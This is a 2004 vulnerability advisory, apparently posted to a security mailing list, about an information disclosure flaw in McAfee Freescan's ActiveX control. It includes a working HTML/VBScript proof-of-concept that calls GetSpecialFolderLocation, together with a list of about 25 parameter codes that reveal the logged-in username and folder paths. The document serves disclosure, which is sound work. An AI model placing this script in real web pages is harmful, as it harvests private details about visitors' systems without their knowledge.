McAfee Freescan ActiveX Information Disclosure [Additional Details & PoC]

[S G Masood <sgmasood@xxxxxxxxx>]

__________________________________
Do you Yahoo!?
Yahoo! Small Business $15K Web Design Giveaway 
http://promotions.yahoo.com/design_giveaway/


McAfee Freescan ActiveX Information Disclosure [Additional Details & PoC]
-------------------------------------------------------------------------



I. ABSTRACT:

McAfee Freescan is an online ActiveX based Antivirus utility.


II. DESCRIPTION:

I've been working on an information disclosure vulnerability in McAfee Freescan 
for a few days. However, Rafel Ivgi disclosed it publicly on 6th April 2004 
[1]. I have a few additional details to add to his original advisory.


III. IMPACT:

Disclosure of sensitive information to an unauthorised attacker.


IV. TECHNICAL DETAILS:

As Rafel Ivgi has mentioned in his advisory, there is a vulnerable method "BSTR 
GetSpecialFolderLocation(USERDEFINED eShellFolder)" which is provided by the 
ActiveX Control "McFreeScan.CoMcFreeScan.1" with classid 
"{EF791A6B-FC12-4C68-99EF-FB9E207A39E6}". This control is installed by the 
above mentioned product when it is used for the first time. 

When the vulnerable method is accessed with specific parameters, it discloses 
sensitive information about the victim's computer to the attacker including the 
current logged in username and the path of several "shell folders". Rafel, in 
his advisory mentioned only two of the parameters but, according to my 
research, several more parameters (about 25) are available which enable the 
attacker to gather more information.


V. Proof of Concept:

There are about 25 parameters that the "GetSpecialFolderLocation" method can 
take. This PoC lists all of them:


<OBJECT ID="MCFS" WIDTH=0 HEIGHT=0 
CLASSID="CLSID:EF791A6B-FC12-4C68-99EF-FB9E207A39E6"></OBJECT>

<script language=vbscript>

sPath = MCFS.GetSpecialFolderLocation(&H0000)

'Gets the path for the desktop folder.

document.write(sPath)

'The Available parameters for the method and their return values:
'
'&H0000=desktop
'&H0002=%username%start menu/programs
'&H0005=%username%/my documents
'&H0006=%username%/favorites
'&H0007=%username%start menu/programs/startup
'&H0008=%username%/recent
'&H0009=%username%/sendto
'&H0010=%username%/desktop
'&H0013=%username%/nethood
'&H0014=%windir%/fonts
'&H0015=%username%/templates
'&H0016=all users/start menu
'&H0017=all users/start menu/programs
'&H0018=all users/start menu/programs/startup
'&H0019=all users/desktop
'&H0020=%username%/Local Settings/Temporary Internet Files
'&H0021=%username%/cookies
'&H0022=%username%/local settings/history
'&H0023=All Users/Application Data
'&H0024=%windir%
'&H0025=%windir%/system32
'&H0026=%programfiles%
'&H0027=%username%/My Documents/My Pictures
'&H0028=%username%
'&H0029=%windir%

</script>


V. DISCLAIMER:

This advisory is meant only for the dissemination of information, alerting the 
general public about a security issue. Use this information at your own 
discretion.

In brief, the author is not responsible for any use, misuse, abuse of this 
information. Also, this information is provided "as is" without any warranty of 
any kind. 

*PHEW*

EOF